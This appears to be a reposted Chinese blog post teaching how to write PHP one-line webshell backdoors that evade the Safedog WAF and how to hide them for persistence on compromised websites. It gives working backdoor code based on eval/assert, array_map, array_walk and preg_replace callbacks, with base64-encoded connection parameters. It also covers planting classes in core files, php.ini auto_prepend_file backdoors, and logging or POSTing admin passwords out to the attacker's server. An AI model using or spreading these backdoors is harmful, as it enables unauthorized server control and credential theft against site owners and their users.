zoukankan      html  css  js  c++  java
  • PHP一句话后门过狗姿势万千之后门构造与隐藏

    第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制。

    另外强调一下,这篇文章需要大家对于php有一定的认识。

    本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础;第二部分主要总结一些可以利用的后门姿势,这部分我主要给大家分享一些搜集的后门,希望可以拓展大家的思路;第三部分主要分享后门隐藏之道。

    声明:在后门举例中大部分后门构造与思路,可能网上都有类似的,如有雷同,来打我呀!

    目前主流的waf软件(如安全狗)一般对于后门文件有主动查杀与被动查杀,主动好理解,被动主要就在于你访问该文件的时候,对该文件就行查杀,比如链接菜刀的时候。

    因为安全狗对后门的查杀其实就是对代码的一个预编译,去除注释等无用代码,遇到if,直接检查if内部内容。

    安全狗获取其他各种waf有什么样的特征库,我们并不能全部知晓,我们能做的只有一点点尝试,WAF永远在更新,黑阔门永远在换套路,几乎没有一劳永逸的后门。

    说明:如果想更好的过狗,那么php是必须要会的,为了尽量照顾到不会php的同学,本文分享一些猥琐思路弥补一下。

    先来一个最简单的过狗后门

    下面分享的几个一句话都是可以直接过狗的,虽然很简单,但此之前,我们来遛一遛狗。

    <?php $_GET[a]($_GET[b]);?>

    这句话已经可以执行一切命令了,但是必然被杀,

    我们可以用extract函数简单的处理下请求的数据

    当然,想要完美过狗,执行更多命令,还需要数据层加工,详情参考第三章。

    经典的回调函数

    很多时候并不是给变量多一层加密就安全,其实很多waf对base64_decode相当敏感。

    例如:

    @array_map(base64_decode($_REQUEST['xx']),(array)base64_decode($_REQUEST['sofia']));

    原理分析:xx参数直接传入一个assert函数,sofia参数传入assert(eval('执行代码'))。

    直接暴出array_map后门,试试去掉base64?

    没错,就这么简单,最危险的地方就是最安全的地方,起码文件特征安全狗确实没有检测出来。

    然而这个一句话D盾是四级的,因为稍微懂点的人都能看出来是个后门。

    但是距离实际意义上的过狗还是远远不够的,还需要数据层加工,详情参考第三章。之后你会发现,就这个一句话修改下post数据,可以完整过狗。

    不卖关子:

    @array_map(assert,(array)base64_decode($_REQUEST['sofia']));

    连接方法:test.php?sofia=YXNzZXJ0KCRfUkVRVUVTVFsndnVsbiddKQ==    密码 :vuln

    再来一个回调后门

    <?
    $Base = "base6"."4"."_decod"."e";
    $_clasc = $Base($_REQUEST['vuln']);
    $arr = array($Base($_POST['sofia']) => '|.*|e',); 
    @array_walk($arr, $_clasc, '');
    ?>
    这是我之前修改过的一个版本,这里用的其实还是preg_replace后门,也是通过回调函数来实现执行,同样可以过:
    

    详解:
    带入参数:

    vuln=cHJlZ19yZXBsYWNl(preg_replace)

    sofia=cGhwaW5mbygp(phpinfo())

    <?
    $Base = "base6"."4"."_decod"."e";
    $_clasc = $Base($_REQUEST['vuln']);//$_clasc=preg_replace
    $arr = array($Base($_POST['sofia']) => '|.*|e',); //$arr = array('phpinfo()' => '|.*|e')
    @array_walk($arr, $_clasc, ''); //preg_replace('|.*|e',phpinfo(),'')
    ?>

    网上有很多现成的回调函数或者其他方式来过特征检测,再这里就不重复造轮子了。

    代码隐藏

    权限维持也是渗透中重要的环节,隐藏的不到位第二天就掉权限,猥琐的后门能一辈子跟随。

    方法一:远程读取或者include文件

    这个方法比较常见,如:

    <?php
    if($_POST['token'] == 'sofia'){
    require 'home/wwwlogs/access.log';
    }

    但是就个人而言,我一眼看上就觉得有鬼,哪个正常程序会鬼畜到包含一个日志文件或者图片,当然也要根据场景来定。

    方法二:

    将代码放到核心函数文件中,做好文件时间修改,只要查杀不出来,一般站长也不会去动核心文件,也是具有一定隐蔽性的,

    方法二:创建类或者函数,分离后门代码

    这样的话基本上很难查杀了,比如再global_function.php类的文件中创建一个类,或者函数,在所调用这个核心函数的相关文件中实例化一个类,调用函数,那么也是妥妥执行的。

    如:把class放到核心类文件中,在相关的调用文件中放入执行代码,隐蔽性会加强很多。

    <?php
    class Parse_Args {

    public function apply_filters($key) {
    assert($key);
    }
    }

    //执行代码
    @extract($_REQUEST);
    $reflectionMethod = new Parse_Args();
    $reflectionMethod -> apply_filters($s0fia);

    ?>

    方法四:直接加密代码

    直接将后门文件加密,

    其实这就只是eval($_POST[x])加密后的结果,还需要构造什么?但是在渗透过程中可用性并不是很高,很多时候要写入后门代码,这根本没法写的,只能作为一种维持手段。

    方法五:创建手工后门

    php不仅可以获取get,post数据还是可以获取server数据的,如user-agent,referrer,cookie,client ip,所以我们完全可以在这些参数中加入需要执行的代码,但需要注意的是有的参数日志中会记录,这里仅提供思路,大家根据实际情况取发挥。

    方法五:间接维持后台权限,

    可以直接在后台登陆页所include的核心函数中加入获取用户名密码的代码,如直接生成到本地服务器的一个txt中(可以加密下),记住这个隐蔽的url,时不时就会有密码记录,或者远程post密码到自己的服务器上。

    可以在后台页面中插入一个xss,这种效率相对较低,但是也是一种思路。

    方法六:来硬的

    这种方法只能针对中小站长,找到一个网站的核心但是又不常用的文件,比如lang文件等等,将自己后门加入,然后将整个文件加密,再替换源文件,功能一切正常,站长对这类文件不会起太大疑心。

    这个思路也可以结合方法三。

    方法七:php.ini后门

    修改php.ini配置来达到每个页面都执行某个后门,每个php都是后门,比如可以配置auto_prepend_file,自动加载某个文件,这部分后期抽时间再单独写出来。

  • 相关阅读:
    2.12 使用@DataProvider
    2.11 webdriver中使用 FileUtils ()
    Xcode8 添加PCH文件
    The app icon set "AppIcon" has an unassigned child告警
    Launch Image
    iOS App图标和启动画面尺寸
    iPhone屏幕尺寸、分辨率及适配
    Xcode下载失败 使用已购项目页面再试一次
    could not find developer disk image
    NSDate与 NSString 、long long类型的相互转化
  • 原文地址:https://www.cnblogs.com/cnhacker/p/8410384.html
Copyright © 2011-2022 走看看